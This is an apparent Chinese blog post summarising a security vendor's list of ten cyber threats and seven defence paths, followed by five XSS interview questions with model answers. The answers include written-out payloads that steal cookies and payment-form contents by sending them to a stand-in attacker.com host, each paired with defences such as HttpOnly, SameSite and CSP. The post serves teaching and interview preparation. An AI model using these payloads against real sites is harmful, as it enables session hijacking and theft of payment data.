《网安面试指南》
https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN
5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect
刚参加完民营经济会议的老齐又马不停的的参加翠湖论坛，并发表了十大态势威胁和七大防护。在我的印象里老齐还真实实干家，一直奔波在一线，下基层就是干。
照片来自奇安信官方账号。
这不参加翠湖论坛发表了网络安全的十大威胁和七大防护，我这里给大家稍稍总结下。
十大网络威胁总结表
| 编号 | 威胁名称 | 关键特征/影响 |
|---|---|---|
| 1 | 攻击环境恶化 | 网络边界瓦解（4G/5G扩展暴露面），防守方劣势加剧。 |
| 2 | 数据攻防焦点 | 数据成勒索/APT目标，数据投毒干扰AI，威胁国家机密、隐私与社会认知。 |
| 3 | 漏洞威胁 | SQL注入、0day漏洞可摧毁企业数据库或国家基础设施。 |
| 4 | 业务连续性冲击 | 微软蓝屏致全球瘫痪，伊朗电网、巴黎水务攻击凸显业务中断风险。 |
| 5 | 物理空间灾难 | 网络攻击引发爆炸（黎巴嫩通信设备、美国液化气厂）、水厂入侵等现实灾难。 |
| 6 | AI技术滥用 | AI工具发起饱和攻击，AI蠕虫、深度伪造诈骗；防守方用大模型提升效率。 |
| 7 | 组织化攻击 | APT组织（蔓灵花、摩诃草）针对国家；美国“电幕行动”监听45国。 |
| 8 | 供应链攻击 | 开源软件漏洞（如“太阳风”事件），金融软件供应链成重灾区。 |
| 9 | 勒索攻击“流行病” | 2031年每2秒一次攻击，双重勒索（加密+泄露），企业赎金与业务损失两难。 |
| 10 | 人与身份隐患 | 内部“三员”权限滥用致数据泄露；智能硬件（支付终端、汽车定位）漏洞频发。 |
七大网络安全防护路径表
| 编号 | 防护路径 | 核心策略/案例 |
|---|---|---|
| 1 | 内生安全 | 安全与系统深度整合（如电力行业），弹性防御体系。 |
| 2 | 零信任架构 | 以身份为边界，全场景管控（银行、证券行业应用）。 |
| 3 | 全维度数据采集 | 多维度数据关联分析（如Ollama大模型服务器暴露预警）。 |
| 4 | AI+安全运营 | AI嵌入检测响应全流程（AISOC产品效率提升千倍）。 |
| 5 | 网络数据基础设施 | 大数据支持威胁感知（如DeepSeek遭多国UDP攻击预警）。 |
| 6 | 快速情报生产与分发 | 实时应对新漏洞/攻击，提升应急响应速度。 |
| 7 | 对抗组织化攻击的基础设施 | 仿真环境与靶场建设（奇安信攻防平台支撑高水平对抗）。 |
顺便哈，知识顺便给大家看面经里面的部分XSS面试题哈：
1. 请详细说明存储型XSS与反射型XSS的攻击流程差异，并给出防御方案
存储型XSS将恶意脚本持久化存储于服务端（如数据库），当用户访问被污染页面时触发攻击，例如论坛评论注入。反射型XSS通过URL参数传递恶意脚本，服务端未过滤直接返回给客户端执行，例如钓鱼链接诱导点击。 防御：输入验证（正则白名单）、输出编码（HTML实体化）、启用CSP策略限制脚本源。
2. 如何通过XSS漏洞窃取用户Cookie？列举三种防御手段
攻击：注入 <script>document.location='http://attacker.com/?cookie='+document.cookie</script>。
防御：设置HttpOnly属性阻止JS访问Cookie、启用SameSite属性限制跨域携带、实施Content-Security-Policy禁止外联请求。
3. 解释DOM型XSS的触发原理，并说明其与传统XSS的检测差异
原理：恶意脚本通过修改DOM树动态执行，如eval(location.hash.slice(1))。检测需使用动态分析工具（如Burp DOM Invader），传统静态扫描无法覆盖客户端渲染逻辑。
4. 如何通过Content-Security-Policy防御XSS？写出有效策略配置
配置示例：
Content-Security-Policy: default-src 'self'; script-src 'nonce-abc123' 'strict-dynamic'; object-src 'none' 该策略禁止内联脚本，仅允许携带特定nonce的脚本执行，并阻断插件加载。
5. 某电商网站搜索框存在反射型XSS，请构造可窃取用户支付信息的PoC
https://mall.com/search?q=<script>fetch('https://attacker.com/log?data='+encodeURIComponent(document.querySelector('.payment-form').innerHTML))</script>
防御：对输入参数进行HTML实体编码（如<转义为<）。
